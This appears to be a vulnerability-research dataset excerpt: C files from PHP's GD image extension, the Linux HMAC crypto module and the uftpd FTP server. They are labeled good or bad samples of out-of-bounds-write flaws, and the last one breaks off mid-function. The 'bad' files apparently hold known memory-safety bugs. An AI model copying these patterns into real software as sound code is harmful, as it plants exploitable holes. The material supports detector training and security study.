RETURN_FALSE; } if (gdImageBrightness(im_src, (int)brightness) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_contrast(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; gdImagePtr im_src; long contrast, tmp; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll", &SIM, &tmp, &contrast) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageContrast(im_src, (int)contrast) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_colorize(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; gdImagePtr im_src; long r,g,b,tmp; long a = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll|l", &SIM, &tmp, &r, &g, &b, &a) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageColor(im_src, (int) r, (int) g, (int) b, (int) a) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_edgedetect(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageEdgeDetectQuick(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_emboss(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageEmboss(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_gaussian_blur(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageGaussianBlur(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_selective_blur(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageSelectiveBlur(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_mean_removal(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageMeanRemoval(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_smooth(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; long tmp; gdImagePtr im_src; double weight; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rld", &SIM, &tmp, &weight) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageSmooth(im_src, (float)weight)==1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_pixelate(INTERNAL_FUNCTION_PARAMETERS) { zval *IM; gdImagePtr im; long tmp, blocksize; zend_bool mode = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll|b", &IM, &tmp, &blocksize, &mode) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (im == NULL) { RETURN_FALSE; } if (gdImagePixelate(im, (int) blocksize, (const unsigned int) mode)) { RETURN_TRUE; } RETURN_FALSE; } /* {{{ proto bool imagefilter(resource src_im, int filtertype, [args] ) Applies Filter an image using a custom angle */ PHP_FUNCTION(imagefilter) { zval *tmp; typedef void (*image_filter)(INTERNAL_FUNCTION_PARAMETERS); long filtertype; image_filter filters[] = { php_image_filter_negate , php_image_filter_grayscale, php_image_filter_brightness, php_image_filter_contrast, php_image_filter_colorize, php_image_filter_edgedetect, php_image_filter_emboss, php_image_filter_gaussian_blur, php_image_filter_selective_blur, php_image_filter_mean_removal, php_image_filter_smooth, php_image_filter_pixelate }; if (ZEND_NUM_ARGS() < 2 || ZEND_NUM_ARGS() > IMAGE_FILTER_MAX_ARGS) { WRONG_PARAM_COUNT; } else if (zend_parse_parameters(2 TSRMLS_CC, "rl", &tmp, &filtertype) == FAILURE) { return; } if (filtertype >= 0 && filtertype <= IMAGE_FILTER_MAX) { filters[filtertype](INTERNAL_FUNCTION_PARAM_PASSTHRU); } } /* }}} */ /* {{{ proto resource imageconvolution(resource src_im, array matrix3x3, double div, double offset) Apply a 3x3 convolution matrix, using coefficient div and offset */ PHP_FUNCTION(imageconvolution) { zval *SIM, *hash_matrix; zval **var = NULL, **var2 = NULL; gdImagePtr im_src = NULL; double div, offset; int nelem, i, j, res; float matrix[3][3] = {{0,0,0}, {0,0,0}, {0,0,0}}; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "radd", &SIM, &hash_matrix, &div, &offset) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); nelem = zend_hash_num_elements(Z_ARRVAL_P(hash_matrix)); if (nelem != 3) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have 3x3 array"); RETURN_FALSE; } for (i=0; i<3; i++) { if (zend_hash_index_find(Z_ARRVAL_P(hash_matrix), (i), (void **) &var) == SUCCESS && Z_TYPE_PP(var) == IS_ARRAY) { if (Z_TYPE_PP(var) != IS_ARRAY || zend_hash_num_elements(Z_ARRVAL_PP(var)) != 3 ) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have 3x3 array"); RETURN_FALSE; } for (j=0; j<3; j++) { if (zend_hash_index_find(Z_ARRVAL_PP(var), (j), (void **) &var2) == SUCCESS) { if (Z_TYPE_PP(var2) != IS_DOUBLE) { zval dval; dval = **var2; zval_copy_ctor(&dval); convert_to_double(&dval); matrix[i][j] = (float)Z_DVAL(dval); } else { matrix[i][j] = (float)Z_DVAL_PP(var2); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have a 3x3 matrix"); RETURN_FALSE; } } } } res = gdImageConvolution(im_src, matrix, (float)div, (float)offset); if (res) { RETURN_TRUE; } else { RETURN_FALSE; } } /* }}} */ /* End section: Filters */ /* {{{ proto void imageflip(resource im, int mode) Flip an image (in place) horizontally, vertically or both directions. */ PHP_FUNCTION(imageflip) { zval *IM; long mode; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &mode) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); switch (mode) { case GD_FLIP_VERTICAL: gdImageFlipVertical(im); break; case GD_FLIP_HORINZONTAL: gdImageFlipHorizontal(im); break; case GD_FLIP_BOTH: gdImageFlipBoth(im); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown flip mode"); RETURN_FALSE; } RETURN_TRUE; } /* }}} */ #ifdef HAVE_GD_BUNDLED /* {{{ proto bool imageantialias(resource im, bool on) Should antialiased functions used or not*/ PHP_FUNCTION(imageantialias) { zval *IM; zend_bool alias; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rb", &IM, &alias) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageAntialias(im, alias); RETURN_TRUE; } /* }}} */ #endif /* {{{ proto void imagecrop(resource im, array rect) Crop an image using the given coordinates and size, x, y, width and height. */ PHP_FUNCTION(imagecrop) { zval *IM; gdImagePtr im; gdImagePtr im_crop; gdRect rect; zval *z_rect; zval **tmp; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ra", &IM, &z_rect) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (zend_hash_find(HASH_OF(z_rect), "x", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.x = Z_LVAL(lval); } else { rect.x = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing x position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "y", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.y = Z_LVAL(lval); } else { rect.y = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing y position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "width", sizeof("width"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.width = Z_LVAL(lval); } else { rect.width = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing width"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "height", sizeof("height"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.height = Z_LVAL(lval); } else { rect.height = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing height"); RETURN_FALSE; } im_crop = gdImageCrop(im, &rect); if (im_crop == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im_crop, le_gd); } } /* }}} */ /* {{{ proto void imagecropauto(resource im [, int mode [, threshold [, color]]]) Crop an image automatically using one of the available modes. */ PHP_FUNCTION(imagecropauto) { zval *IM; long mode = -1; long color = -1; double threshold = 0.5f; gdImagePtr im; gdImagePtr im_crop; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r|ldl", &IM, &mode, &threshold, &color) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); switch (mode) { case -1: mode = GD_CROP_DEFAULT; case GD_CROP_DEFAULT: case GD_CROP_TRANSPARENT: case GD_CROP_BLACK: case GD_CROP_WHITE: case GD_CROP_SIDES: im_crop = gdImageCropAuto(im, mode); break; case GD_CROP_THRESHOLD: if (color < 0 || (!gdImageTrueColor(im) && color >= gdImageColorsTotal(im))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Color argument missing with threshold mode"); RETURN_FALSE; } im_crop = gdImageCropThreshold(im, color, (float) threshold); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown crop mode"); RETURN_FALSE; } if (im_crop == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im_crop, le_gd); } } /* }}} */ /* {{{ proto resource imagescale(resource im, new_width[, new_height[, method]]) Scale an image using the given new width and height. */ PHP_FUNCTION(imagescale) { zval *IM; gdImagePtr im; gdImagePtr im_scaled = NULL; int new_width, new_height; long tmp_w, tmp_h=-1, tmp_m = GD_BILINEAR_FIXED; gdInterpolationMethod method; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl|ll", &IM, &tmp_w, &tmp_h, &tmp_m) == FAILURE) { return; } method = tmp_m; ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (tmp_h < 0) { /* preserve ratio */ long src_x, src_y; src_x = gdImageSX(im); src_y = gdImageSY(im); if (src_x) { tmp_h = tmp_w * src_y / src_x; } } if (tmp_h <= 0 || tmp_w <= 0) { RETURN_FALSE; } new_width = tmp_w; new_height = tmp_h; if (gdImageSetInterpolationMethod(im, method)) { im_scaled = gdImageScale(im, new_width, new_height); } if (im_scaled == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im_scaled, le_gd); } } /* }}} */ /* {{{ proto resource imageaffine(resource src, array affine[, array clip]) Return an image containing the affine tramsformed src image, using an optional clipping area */ PHP_FUNCTION(imageaffine) { zval *IM; gdImagePtr src; gdImagePtr dst; gdRect rect; gdRectPtr pRect = NULL; zval *z_rect = NULL; zval *z_affine; zval **tmp; double affine[6]; int i, nelems; zval **zval_affine_elem = NULL; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ra|a", &IM, &z_affine, &z_rect) == FAILURE) { return; } ZEND_FETCH_RESOURCE(src, gdImagePtr, &IM, -1, "Image", le_gd); if ((nelems = zend_hash_num_elements(Z_ARRVAL_P(z_affine))) != 6) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Affine array must have six elements"); RETURN_FALSE; } for (i = 0; i < nelems; i++) { if (zend_hash_index_find(Z_ARRVAL_P(z_affine), i, (void **) &zval_affine_elem) == SUCCESS) { switch (Z_TYPE_PP(zval_affine_elem)) { case IS_LONG: affine[i] = Z_LVAL_PP(zval_affine_elem); break; case IS_DOUBLE: affine[i] = Z_DVAL_PP(zval_affine_elem); break; case IS_STRING: { zval dval; dval = **zval_affine_elem; zval_copy_ctor(&dval); convert_to_double(&dval); affine[i] = Z_DVAL(dval); } break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %i", i); RETURN_FALSE; } } } if (z_rect != NULL) { if (zend_hash_find(HASH_OF(z_rect), "x", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.x = Z_LVAL(lval); } else { rect.x = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing x position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "y", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.y = Z_LVAL(lval); } else { rect.y = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing y position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "width", sizeof("width"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.width = Z_LVAL(lval); } else { rect.width = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing width"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "height", sizeof("height"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.height = Z_LVAL(lval); } else { rect.height = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing height"); RETURN_FALSE; } pRect = &rect; } else { rect.x = -1; rect.y = -1; rect.width = gdImageSX(src); rect.height = gdImageSY(src); pRect = NULL; } if (gdTransformAffineGetImage(&dst, src, pRect, affine) != GD_TRUE) { RETURN_FALSE; } if (dst == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, dst, le_gd); } } /* }}} */ /* {{{ proto array imageaffinematrixget(type[, options]) Return an image containing the affine tramsformed src image, using an optional clipping area */ PHP_FUNCTION(imageaffinematrixget) { double affine[6]; long type; zval *options = NULL; zval **tmp; int res = GD_FALSE, i; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l|z", &type, &options) == FAILURE) { return; } switch((gdAffineStandardMatrix)type) { case GD_AFFINE_TRANSLATE: case GD_AFFINE_SCALE: { double x, y; if (!options || Z_TYPE_P(options) != IS_ARRAY) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Array expected as options"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(options), "x", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_DOUBLE) { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); x = Z_DVAL(dval); } else { x = Z_DVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing x position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(options), "y", sizeof("y"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_DOUBLE) { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); y = Z_DVAL(dval); } else { y = Z_DVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing y position"); RETURN_FALSE; } if (type == GD_AFFINE_TRANSLATE) { res = gdAffineTranslate(affine, x, y); } else { res = gdAffineScale(affine, x, y); } break; } case GD_AFFINE_ROTATE: case GD_AFFINE_SHEAR_HORIZONTAL: case GD_AFFINE_SHEAR_VERTICAL: { double angle; if (!options) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number is expected as option"); RETURN_FALSE; } if(Z_TYPE_P(options) != IS_DOUBLE) { zval dval; dval = *options; zval_copy_ctor(&dval); convert_to_double(&dval); angle = Z_DVAL(dval); } else { angle = Z_DVAL_P(options); } if (type == GD_AFFINE_SHEAR_HORIZONTAL) { res = gdAffineShearHorizontal(affine, angle); } else if (type == GD_AFFINE_SHEAR_VERTICAL) { res = gdAffineShearVertical(affine, angle); } else { res = gdAffineRotate(affine, angle); } break; } default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %li", type); RETURN_FALSE; } if (res == GD_FALSE) { RETURN_FALSE; } else { array_init(return_value); for (i = 0; i < 6; i++) { add_index_double(return_value, i, affine[i]); } } } /* {{{ proto array imageaffineconcat(array m1, array m2) Concat two matrices (as in doing many ops in one go) */ PHP_FUNCTION(imageaffinematrixconcat) { double m1[6]; double m2[6]; double mr[6]; zval **tmp; zval *z_m1; zval *z_m2; int i, nelems; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "aa", &z_m1, &z_m2) == FAILURE) { return; } if (((nelems = zend_hash_num_elements(Z_ARRVAL_P(z_m1))) != 6) || (nelems = zend_hash_num_elements(Z_ARRVAL_P(z_m2))) != 6) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Affine arrays must have six elements"); RETURN_FALSE; } for (i = 0; i < 6; i++) { if (zend_hash_index_find(Z_ARRVAL_P(z_m1), i, (void **) &tmp) == SUCCESS) { switch (Z_TYPE_PP(tmp)) { case IS_LONG: m1[i] = Z_LVAL_PP(tmp); break; case IS_DOUBLE: m1[i] = Z_DVAL_PP(tmp); break; case IS_STRING: { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); m1[i] = Z_DVAL(dval); } break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %i", i); RETURN_FALSE; } } if (zend_hash_index_find(Z_ARRVAL_P(z_m2), i, (void **) &tmp) == SUCCESS) { switch (Z_TYPE_PP(tmp)) { case IS_LONG: m2[i] = Z_LVAL_PP(tmp); break; case IS_DOUBLE: m2[i] = Z_DVAL_PP(tmp); break; case IS_STRING: { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); m2[i] = Z_DVAL(dval); } break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %i", i); RETURN_FALSE; } } } if (gdAffineConcat (mr, m1, m2) != GD_TRUE) { RETURN_FALSE; } array_init(return_value); for (i = 0; i < 6; i++) { add_index_double(return_value, i, mr[i]); } } /* {{{ proto resource imagesetinterpolation(resource im, [, method]]) Set the default interpolation method, passing -1 or 0 sets it to the libgd default (bilinear). */ PHP_FUNCTION(imagesetinterpolation) { zval *IM; gdImagePtr im; long method = GD_BILINEAR_FIXED; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r|l", &IM, &method) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (method == -1) { method = GD_BILINEAR_FIXED; } RETURN_BOOL(gdImageSetInterpolationMethod(im, (gdInterpolationMethod) method)); } /* }}} */ /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: sw=4 ts=4 fdm=marker * vim<600: sw=4 ts=4 */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5256_0
crossvul-cpp_data_bad_2977_0
/* * Cryptographic API. * * HMAC: Keyed-Hashing for Message Authentication (RFC2104). * * Copyright (c) 2002 James Morris <jmorris@intercode.com.au> * Copyright (c) 2006 Herbert Xu <herbert@gondor.apana.org.au> * * The HMAC implementation is derived from USAGI. * Copyright (c) 2002 Kazunori Miyazawa <miyazawa@linux-ipv6.org> / USAGI * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version. * */ #include <crypto/hmac.h> #include <crypto/internal/hash.h> #include <crypto/scatterwalk.h> #include <linux/err.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/scatterlist.h> #include <linux/string.h> struct hmac_ctx { struct crypto_shash *hash; }; static inline void *align_ptr(void *p, unsigned int align) { return (void *)ALIGN((unsigned long)p, align); } static inline struct hmac_ctx *hmac_ctx(struct crypto_shash *tfm) { return align_ptr(crypto_shash_ctx_aligned(tfm) + crypto_shash_statesize(tfm) * 2, crypto_tfm_ctx_alignment()); } static int hmac_setkey(struct crypto_shash *parent, const u8 *inkey, unsigned int keylen) { int bs = crypto_shash_blocksize(parent); int ds = crypto_shash_digestsize(parent); int ss = crypto_shash_statesize(parent); char *ipad = crypto_shash_ctx_aligned(parent); char *opad = ipad + ss; struct hmac_ctx *ctx = align_ptr(opad + ss, crypto_tfm_ctx_alignment()); struct crypto_shash *hash = ctx->hash; SHASH_DESC_ON_STACK(shash, hash); unsigned int i; shash->tfm = hash; shash->flags = crypto_shash_get_flags(parent) & CRYPTO_TFM_REQ_MAY_SLEEP; if (keylen > bs) { int err; err = crypto_shash_digest(shash, inkey, keylen, ipad); if (err) return err; keylen = ds; } else memcpy(ipad, inkey, keylen); memset(ipad + keylen, 0, bs - keylen); memcpy(opad, ipad, bs); for (i = 0; i < bs; i++) { ipad[i] ^= HMAC_IPAD_VALUE; opad[i] ^= HMAC_OPAD_VALUE; } return crypto_shash_init(shash) ?: crypto_shash_update(shash, ipad, bs) ?: crypto_shash_export(shash, ipad) ?: crypto_shash_init(shash) ?: crypto_shash_update(shash, opad, bs) ?: crypto_shash_export(shash, opad); } static int hmac_export(struct shash_desc *pdesc, void *out) { struct shash_desc *desc = shash_desc_ctx(pdesc); desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_export(desc, out); } static int hmac_import(struct shash_desc *pdesc, const void *in) { struct shash_desc *desc = shash_desc_ctx(pdesc); struct hmac_ctx *ctx = hmac_ctx(pdesc->tfm); desc->tfm = ctx->hash; desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_import(desc, in); } static int hmac_init(struct shash_desc *pdesc) { return hmac_import(pdesc, crypto_shash_ctx_aligned(pdesc->tfm)); } static int hmac_update(struct shash_desc *pdesc, const u8 *data, unsigned int nbytes) { struct shash_desc *desc = shash_desc_ctx(pdesc); desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_update(desc, data, nbytes); } static int hmac_final(struct shash_desc *pdesc, u8 *out) { struct crypto_shash *parent = pdesc->tfm; int ds = crypto_shash_digestsize(parent); int ss = crypto_shash_statesize(parent); char *opad = crypto_shash_ctx_aligned(parent) + ss; struct shash_desc *desc = shash_desc_ctx(pdesc); desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_final(desc, out) ?: crypto_shash_import(desc, opad) ?: crypto_shash_finup(desc, out, ds, out); } static int hmac_finup(struct shash_desc *pdesc, const u8 *data, unsigned int nbytes, u8 *out) { struct crypto_shash *parent = pdesc->tfm; int ds = crypto_shash_digestsize(parent); int ss = crypto_shash_statesize(parent); char *opad = crypto_shash_ctx_aligned(parent) + ss; struct shash_desc *desc = shash_desc_ctx(pdesc); desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_finup(desc, data, nbytes, out) ?: crypto_shash_import(desc, opad) ?: crypto_shash_finup(desc, out, ds, out); } static int hmac_init_tfm(struct crypto_tfm *tfm) { struct crypto_shash *parent = __crypto_shash_cast(tfm); struct crypto_shash *hash; struct crypto_instance *inst = (void *)tfm->__crt_alg; struct crypto_shash_spawn *spawn = crypto_instance_ctx(inst); struct hmac_ctx *ctx = hmac_ctx(parent); hash = crypto_spawn_shash(spawn); if (IS_ERR(hash)) return PTR_ERR(hash); parent->descsize = sizeof(struct shash_desc) + crypto_shash_descsize(hash); ctx->hash = hash; return 0; } static void hmac_exit_tfm(struct crypto_tfm *tfm) { struct hmac_ctx *ctx = hmac_ctx(__crypto_shash_cast(tfm)); crypto_free_shash(ctx->hash); } static int hmac_create(struct crypto_template *tmpl, struct rtattr **tb) { struct shash_instance *inst; struct crypto_alg *alg; struct shash_alg *salg; int err; int ds; int ss; err = crypto_check_attr_type(tb, CRYPTO_ALG_TYPE_SHASH); if (err) return err; salg = shash_attr_alg(tb[1], 0, 0); if (IS_ERR(salg)) return PTR_ERR(salg); err = -EINVAL; ds = salg->digestsize; ss = salg->statesize; alg = &salg->base; if (ds > alg->cra_blocksize || ss < alg->cra_blocksize) goto out_put_alg; inst = shash_alloc_instance("hmac", alg); err = PTR_ERR(inst); if (IS_ERR(inst)) goto out_put_alg; err = crypto_init_shash_spawn(shash_instance_ctx(inst), salg, shash_crypto_instance(inst)); if (err) goto out_free_inst; inst->alg.base.cra_priority = alg->cra_priority; inst->alg.base.cra_blocksize = alg->cra_blocksize; inst->alg.base.cra_alignmask = alg->cra_alignmask; ss = ALIGN(ss, alg->cra_alignmask + 1); inst->alg.digestsize = ds; inst->alg.statesize = ss; inst->alg.base.cra_ctxsize = sizeof(struct hmac_ctx) + ALIGN(ss * 2, crypto_tfm_ctx_alignment()); inst->alg.base.cra_init = hmac_init_tfm; inst->alg.base.cra_exit = hmac_exit_tfm; inst->alg.init = hmac_init; inst->alg.update = hmac_update; inst->alg.final = hmac_final; inst->alg.finup = hmac_finup; inst->alg.export = hmac_export; inst->alg.import = hmac_import; inst->alg.setkey = hmac_setkey; err = shash_register_instance(tmpl, inst); if (err) { out_free_inst: shash_free_instance(shash_crypto_instance(inst)); } out_put_alg: crypto_mod_put(alg); return err; } static struct crypto_template hmac_tmpl = { .name = "hmac", .create = hmac_create, .free = shash_free_instance, .module = THIS_MODULE, }; static int __init hmac_module_init(void) { return crypto_register_template(&hmac_tmpl); } static void __exit hmac_module_exit(void) { crypto_unregister_template(&hmac_tmpl); } module_init(hmac_module_init); module_exit(hmac_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("HMAC hash algorithm"); MODULE_ALIAS_CRYPTO("hmac");
./CrossVul/dataset_final_sorted/CWE-787/c/bad_2977_0
crossvul-cpp_data_bad_4260_0
/* FTP engine * * Copyright (c) 2014-2019 Joachim Nilsson <troglobit@gmail.com> * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "uftpd.h" #include <ctype.h> #include <arpa/ftp.h> #ifdef HAVE_SYS_TIME_H # include <sys/time.h> #endif typedef struct { char *command; void (*cb)(ctrl_t *ctr, char *arg); } ftp_cmd_t; static ftp_cmd_t supported[]; static void do_PORT(ctrl_t *ctrl, int pending); static void do_LIST(uev_t *w, void *arg, int events); static void do_RETR(uev_t *w, void *arg, int events); static void do_STOR(uev_t *w, void *arg, int events); static int is_cont(char *msg) { char *ptr; ptr = strchr(msg, '\r'); if (ptr) { ptr++; if (strchr(ptr, '\r')) return 1; } return 0; } static int send_msg(int sd, char *msg) { int n = 0; int l; if (!msg) { err: ERR(EINVAL, "Missing argument to send_msg()"); return 1; } l = strlen(msg); if (l <= 0) goto err; while (n < l) { int result = send(sd, msg + n, l, 0); if (result < 0) { ERR(errno, "Failed sending message to client"); return 1; } n += result; } DBG("Sent: %s%s", is_cont(msg) ? "\n" : "", msg); return 0; } /* * Receive message from client, split into command and argument */ static int recv_msg(int sd, char *msg, size_t len, char **cmd, char **argument) { char *ptr; ssize_t bytes; uint8_t *raw = (uint8_t *)msg; /* Clear for every new command. */ memset(msg, 0, len); /* Save one byte (-1) for NUL termination */ bytes = recv(sd, msg, len - 1, 0); if (bytes < 0) { if (EINTR == errno) return 1; if (ECONNRESET == errno) DBG("Connection reset by client."); else ERR(errno, "Failed reading client command"); return 1; } if (!bytes) { INFO("Client disconnected."); return 1; } if (raw[0] == 0xff) { char tmp[4]; char buf[20] = { 0 }; int i; i = recv(sd, &msg[bytes], len - bytes - 1, MSG_OOB | MSG_DONTWAIT); if (i > 0) bytes += i; for (i = 0; i < bytes; i++) { snprintf(tmp, sizeof(tmp), "%2X%s", raw[i], i + 1 < bytes ? " " : ""); strlcat(buf, tmp, sizeof(buf)); } strlcpy(msg, buf, len); *cmd = msg; *argument = NULL; DBG("Recv: [%s], %zd bytes", msg, bytes); return 0; } /* NUL terminate for strpbrk() */ msg[bytes] = 0; *cmd = msg; ptr = strpbrk(msg, " "); if (ptr) { *ptr = 0; ptr++; 